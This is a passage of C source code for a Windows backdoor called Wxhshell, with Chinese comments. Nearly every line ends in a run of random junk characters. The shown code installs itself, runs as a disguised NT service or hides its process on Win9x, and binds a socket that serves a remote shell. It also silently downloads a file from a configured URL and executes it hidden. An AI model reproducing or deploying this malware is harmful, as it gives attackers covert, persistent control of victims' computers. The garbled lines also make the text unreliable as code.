DWORD PebBaseAddress; ($:y\,5(9I
DWORD AffinityMask; k%^<}s@
DWORD BasePriority; &
L3UlL
ULONG UniqueProcessId; 8Y xhd
.
ULONG InheritedFromUniqueProcessId; +/w(K,
} PROCESS_BASIC_INFORMATION; ru DP529;
Ny B&uf
PROCNTQSIP NtQueryInformationProcess; Gj5>Y!9
)X~#n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6QW<RXom
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZXh~79
q`cEA<~S
HANDLE hProcess; hc6.#~i
PROCESS_BASIC_INFORMATION pbi; 6{ C Fe|XN
e/ WBgiLw
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6mi$.'
qP
if(NULL == hInst ) return 0; 9ptZVv=O
mZ~mf->%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j=FMYd8$y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z2.*#xTZn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aN:HG)$@
R04.K!
if (!NtQueryInformationProcess) return 0; XynU/Go,
>1m)%zt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FT<H]Nf
if(!hProcess) return 0; T.J`S(oI
&|s+KP|d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a5X`jo
p}96uaC1
CloseHandle(hProcess); :m]/u( /N
kV_#9z7%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )\0Ug7]?
if(hProcess==NULL) return 0; @k_Jl>X
/3OC7!~;fM
HMODULE hMod; %)BwE
char procName[255]; +{5JDyh0
unsigned long cbNeeded; ~5FS|[1L
KbXbT
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z Z@L4ZT
1RCXc>}/
CloseHandle(hProcess); *^X#Eb
g8LT7
if(strstr(procName,"services")) return 1; // 以服务启动 ;,<r|.6U
rny@n^F
return 0; // 注册表启动 <\E"clZI
} c9\B[@-q
1P(%9
// 主模块 gsLr=
int StartWxhshell(LPSTR lpCmdLine) /!^L69um
{ dNOX&$/=
SOCKET wsl; TTeA a
BOOL val=TRUE; Oyi;bb<#
int port=0; =''mpIg(
struct sockaddr_in door; }5fU7&jA;3
6W)xj6<@
if(wscfg.ws_autoins) Install(); R#"U/8b>z
u^}7Vs
.
port=atoi(lpCmdLine); /d{glOk
o}WB(WsG
if(port<=0) port=wscfg.ws_port; Bv2z4D4f+
:hC
{5!|
WSADATA data; R2Twm!1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 08zi/g2
3
aeG#:
Ln+{
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :*mA,2s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T
[T 6
door.sin_family = AF_INET; fl} rz
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?R|fS*e2EB
door.sin_port = htons(port); Z_iAn TT
yf
`.%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tU+@1~
~
closesocket(wsl); s(1_:
return 1; z5x,fQw6O
} LVPt*S= /
hKk\Y{wv'
if(listen(wsl,2) == INVALID_SOCKET) { n.2E8m/
closesocket(wsl); O, bfdc[g4
return 1; Y0/jH2 n
} N oX_?
Wxhshell(wsl); *k3 d^9o#
WSACleanup(); +zFV~]b
OoAr%
return 0; ,^MW)Gf<
6MLN>)t
} L Q I: ]d
c8k6(#\
// 以NT服务方式启动 E3CiZ4=5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BiHiVhD_
{ jSeA%Te
DWORD status = 0; XEf&Yd
DWORD specificError = 0xfffffff; 68&6J's;
GL;x:2XA
serviceStatus.dwServiceType = SERVICE_WIN32; ch5`fm
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jV,(P$ 5;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RE`J"&
serviceStatus.dwWin32ExitCode = 0; Dyouk+08x
serviceStatus.dwServiceSpecificExitCode = 0; Z ]7;u>2
serviceStatus.dwCheckPoint = 0; v @$evmA
serviceStatus.dwWaitHint = 0; e'/
#lBpln9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [#hl}q(P#
if (hServiceStatusHandle==0) return; !^>LOH>j
4! Oa4
status = GetLastError(); |
Q1ubS
if (status!=NO_ERROR) h30QCk
{ w+).pcG(*
serviceStatus.dwCurrentState = SERVICE_STOPPED; e_>rJWI}
serviceStatus.dwCheckPoint = 0; F$6])F
serviceStatus.dwWaitHint = 0; rB.=f[aX[
serviceStatus.dwWin32ExitCode = status; ;G%wc!
serviceStatus.dwServiceSpecificExitCode = specificError; ctc`^#q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hVT=j ?~
return; ga{25q}"
} hdsgOu
CD8JY iJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; s_GK;;
serviceStatus.dwCheckPoint = 0; o/x5
serviceStatus.dwWaitHint = 0; |oBdryi
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h-2E9Z
} A5.'h<
g6@N PQ
// 处理NT服务事件,比如:启动、停止 {0)WS}&
VOID WINAPI NTServiceHandler(DWORD fdwControl) w}U5dM`
{ JR a*;_
switch(fdwControl) SVg@xu+
{ G3_mWppH
case SERVICE_CONTROL_STOP: p+`*~6Jj/
serviceStatus.dwWin32ExitCode = 0; $@u^Jt, ?
serviceStatus.dwCurrentState = SERVICE_STOPPED; qh)!| B
serviceStatus.dwCheckPoint = 0; W3o}.|]
serviceStatus.dwWaitHint = 0; AG$-U2ap
{ ,s yA()
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ltic_cjYd?
} hBfzU\*0H
return; t5jhpPVf
case SERVICE_CONTROL_PAUSE: !aW*dD61
serviceStatus.dwCurrentState = SERVICE_PAUSED; n7, 6a
break; $vw}p.
case SERVICE_CONTROL_CONTINUE: #H|j-RM2
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,],JI|Rl8c
break; %B {D
case SERVICE_CONTROL_INTERROGATE: L"[wa.<
break; }%>$}4 ,
}; TJw.e/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0m+5Zn
} Y3MR:{}
%\{?(baOA
// 标准应用程序主函数 L$u&~"z-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R8r[;u\iV
{ 6rN5Xf cS
:7DVc&0
// 获取操作系统版本 cdtzf:#q
OsIsNt=GetOsVer(); <1g 1hqK3
GetModuleFileName(NULL,ExeFile,MAX_PATH); | 7'yk__m
;DgX"Uzm
// 从命令行安装 W'2-3J
if(strpbrk(lpCmdLine,"iI")) Install(); #PLB$$
g*AD$":
// 下载执行文件 xZ'`_x9l
if(wscfg.ws_downexe) { ^SSOh#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iB`WXU
WinExec(wscfg.ws_filenam,SW_HIDE); -TU{r_!Z(
} _~S^#ut+
I`$I0
if(!OsIsNt) { Z=t#*"J
// 如果时win9x,隐藏进程并且设置为注册表启动 RAuAIiQ
HideProc(); komxot[[
StartWxhshell(lpCmdLine); AGJ=de.
} \PMKmJX0O
else |8U7C\S[
if(StartFromService()) I'%H:53^0
// 以服务方式启动 gK#fuQ$hH
StartServiceCtrlDispatcher(DispatchTable); +i_f.Ipp
else m6Cd^'J9^
// 普通方式启动 M>H^<N}'A
StartWxhshell(lpCmdLine); cLko
D%Jc?6/I#3
return 0; Q.E^9giC
}